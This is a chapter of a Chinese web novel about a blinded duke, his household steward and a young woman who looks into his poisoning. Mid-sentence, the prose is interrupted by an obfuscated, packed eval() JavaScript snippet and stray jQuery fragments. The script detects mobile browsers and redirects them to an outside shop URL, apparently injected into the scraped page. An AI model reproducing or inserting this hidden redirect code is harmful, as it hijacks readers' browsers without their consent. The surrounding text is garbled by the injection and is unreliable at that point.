“知道北蛮吗?”见阮筠点头,孙医师继续说,“定国公戍边多年,杀了不知多少入侵边境的蛮子,他们自然恨之入骨,筹谋多年,终于在中元节时抓住机会,用北蛮特有的毒药害瞎了定国公。”
孙医师讲的简单明了,阮筠快速眨眼睛,压下涌上来的酸涩,追问:“您有办法解毒吗?除了眼睛,他还有没有其他地方受伤?”
“幸好发现得及时,毒素没有蔓延到其他地方,至于解毒的法子……”孙医师停了一下,“我倒是有些头绪,只不过再好的法子也要病人配合。”
她想起之前傅戎不肯喝药的事情,紧张询问细节:“您的意思是阿戎不肯配合您解毒?”
“也不算不配合吧,身为医师,我还是能看出几分病人对治病的态度,只能说定国公似乎不怎么在意和上心。”
“为什么?”
“我又不是定国公肚子里的蛔虫,连叶郎中他们都不清楚,我就更不可能知道了。”
叶绍远正是刑部十三清吏司之一的正五品郎中,从他对傅戎的称呼来看,他对傅戎极为尊重,或许和傅戎是结拜兄弟。
以叶绍远的身份以及跟傅戎的关系,竟然猜不出傅戎心思。
纵使医师医术高超,有妙手回春之能,遇到不肯喝药的病人,同样束手无策。
阮筠很快想通其中关窍,郑重道:“无论如何,还请孙医师竭尽所能,研制出解毒药方,但凡有我能尽绵薄之力的地方,孙医师务必直言,我绝不推辞。”
“好。”孙医师坐直了些,面露几分好奇,“你就这么相信我说的话?不怕我骗你?”
“孙医师为人光明磊落,心怀悬壶济世之志,必定不是满口谎言的小人。”
孙医师愣了一下,随即朗声大笑:“你还挺会说话的。”
阮筠回以微微一笑。
她了解傅戎,但凡心思不正、难以取得他信任的人,即便对方医术再高,他也不会请对方医治。
再者她还可以写信询问叶绍远,不怕对方撒谎。
“出来的时间有些久了,我该回去继续抄书了。”
算算时间,弄雨应该差不多向李管事禀告完毕,不久就会回来了。
孙医师熄灭煎药炉里的火,同她一起往外走。
刚转到前院,阮筠一眼看见弄雨走进院门,瞧见她和孙医师站在一起,脸上闪过惊讶。
“阮姑娘,你怎么不在书房?去哪里了?”
阮筠搬出之前回答孙医师的理由,又把问题轻轻抛回去:“你呢?去哪里了?这么晚才回来。”
弄雨垂首答道:“正院那边有些事情,管事叫我去看看。”
“嗯。”她对弄雨没什么意见,知道对方是听令行事,但也不想弄雨天天追问她的行踪,“往后你忙的你的,不用问我,更不用时刻跟在我的身边。”
弄雨沉默片刻,说:“李管事吩咐我照顾姑娘,如果擅自离开,只怕李管事责怪于我。”
言下之意是只有李管事发话,她才不会时时紧盯着阮筠。
阮筠看了弄雨一眼,转身走进书房,整理好上午抄写的书稿,抽了几张信纸摆在面前,不拖延,直接开始给叶绍远写信。
她在信里简单讲了讲这段时间在药庐的经历,借着抄医书的机会向孙医师询问傅戎的病情,就此向叶绍远求证。
检查一遍内容后,她轻轻吹干纸上墨字,装进信封里,取来烤漆,严密地封紧信封口。
阮筠拿着信离开药庐。
她没有理会不远不近缀在后面的弄雨,打算直接去找李管事。
拐过一处转角,对面游廊走来一队人,有人肩上扛着锄头,手里提着铲子,有人扛着麻袋,还有人捧着花盆,特制纱网罩住里面的嫩绿幼苗,以免在寒风肆虐下枯萎。
对面人多,游廊较窄,阮筠侧身让开位置。
她看着这一队人消失在转角,往回走到弄雨面前,问:“你认识他们吗?”
弄雨低头道:“不认识。”
阮筠看着那些人离开的方向,从这里可以抄近道去正院和东院,可如果去花园的话,不仅方向完全相反,即使能去花园,也需要绕一段路。
如果她没记错,刚刚领头带路的那人好像时常跟在李管事身边,不大不小也算是个管事,亲自领着那些人是去做什么?
阮筠暂时按下疑惑,快步赶向李管事所在的跨院。
院子里陆陆续续地有人进进出出,都是府里管事仆役,她走进屋里时,听见有名管事说:“……郭阁老派人送来一些药材,还问国公爷的伤势如何。”
郭阁老?当时傅戎质问她究竟是何人派来的探子时,最先提及的是一个叫郭士谦的姓名,难道就是这位管事口中的郭阁老?
“药材收下,还像以前一样处理,再挑些回礼送去郭家。”李管事见到阮筠,摆手让其他人退下,言语客气,“阮姑娘,您过来可是有什么要事?”
阮筠取出信,“还请李管事帮忙转交给叶大人。”
李管事略一点头,没问原因,直接叫来一名小厮去送信。
“还有一事需要和李管事商量。”
她转头看了一眼站在侧后方的弄雨,又看向李管事,保持微笑,却不说话。
李管事看看两人,了然:“弄雨,你先出去。”
“是。”
“阮姑娘请坐。”李管事缓慢走到旁边的圈椅落座,倒了杯茶,“请。”
阮筠坐在对面,端起茶盏轻抿一口,温声道:“不是什么大事,只是想和李管事商量一下,如今我在药庐给孙医师帮忙有段时日了,事情逐渐上手,孙医师也未曾指责我做的不够好,我一个人忙得过来,不需要旁人照顾。”
“我原想着姑娘刚到府里,人生地不熟,派弄雨去帮衬一下,既然姑娘说不用,我便让弄雨回来。”
阮筠做好了对方拒绝的打算,没想到李管事一口答应下来,反倒愣了一下,随即笑道:“多谢李管事。”
事情出其的顺利,她原本想好的腹稿派不上用场,左右来都来了,她不着急走。
“李管事来府里很久了吗?”
“有七八年了吧。”
难怪以前从未在国公府见过对方,阮筠问:“那您对府里应该很熟悉,国公想必十分信任您。”
“国公爷心善,特意收留我这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608199|205803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跛脚不利索的人。”李管事感慨,“不然我怕是早就饿死了。”
“您是府里的老人了,府里的人应该都认识?”
李管事略略坐直,“不知道阮姑娘想找谁?”
阮筠先胡诌了两个姓名,又说了两个以前服侍老定国公夫人的侍女姓名,最后才问:“您知道剪翠吗?听说也是府里的侍女,现在应该二十六七岁了。”
“剪翠?”李管事咂摸两遍,拧眉细细回想片刻,缓缓摇头,“不曾听过这个名字,不知道你找她做什么?”
“偶然间听人提过一嘴,觉得这个名字挺好听的。”阮筠没有避开对方打量的目光,视线掠过书案上的簿册,“李管事,你事情多,我就不打扰了。”
李管事没有挽留,起身送她走出屋子,站在门口,目送她彻底走远,当即关紧屋门,快步走向里间。
不等他敲门询问,里间的门已经开了,高大的黑色身影缓步走出来。
“将军。”
傅戎神情淡淡,声音一如往常般冷淡,不见丝毫起伏:“月底的时候,你叫剪翠回来一趟,不动声色地带去药庐,务必叫那人亲眼遇到。”
“是。”
“信呢?”
“还没送出去。”李管事恭声道,“老奴这就去拿回来。”
傅戎听见刻意踏重的脚步声响起,逐渐走远,停在原地没动。
不过片刻,李管事再次出现在屋内,将信件恭敬放在傅戎摊开的手心之中。
傅戎捏住信,指尖仔细感受估摸信的厚度,转到封口处,抚过上面的烤漆,原封不动地递给李管事。
“把信送去给叶家,不管里面写了什么,让他后天把回信送到药庐。”
见他没有拆开信,李管事有些惊讶,答了声是后,又听到冷静的吩咐。
“两日后,你再去药庐找那人一趟……”
*
信送出去两天后,阮筠收到了叶绍远的回信,甚至还是他亲自送到药庐。
“叶大人?你怎么还亲自来一趟?”
“我来看看大哥,顺便把信给你带过来。”
叶绍远靠着椅背,慢悠悠地端起茶盏,姿态闲适放松,一点都不着急离开。
她急着看回信,也不催促他,连忙撕开信,详实迅速地看完上面的内容。
“当真是北蛮人?”
“是啊,那些蛮子还关在刑部大牢里呢。”
阮筠猜测:“他们手里有解药?”
“怎么可能。”叶绍远嗤了一声,“蛮子抱着必死的决心来到京城,绝对不会随身带着解药,更不可能说出解药的方子。”
“那留着他们做什么?”
“他们想死,我偏偏不让他们死。”叶绍远语气森森,脸上不见往常的开朗,眼中阴翳一闪而过。
她沉默一瞬,另起话题:“孙医师说他有解毒的头绪了。”
叶绍远点点头,显然早已知晓此事,并不惊讶。
阮筠观察叶绍远的神情,微张开口,正想询问更多内情时,屋外走进来一个人。
“阮姑娘。”李管事提着食盒,“从今天开始,由你去给国公爷送药。”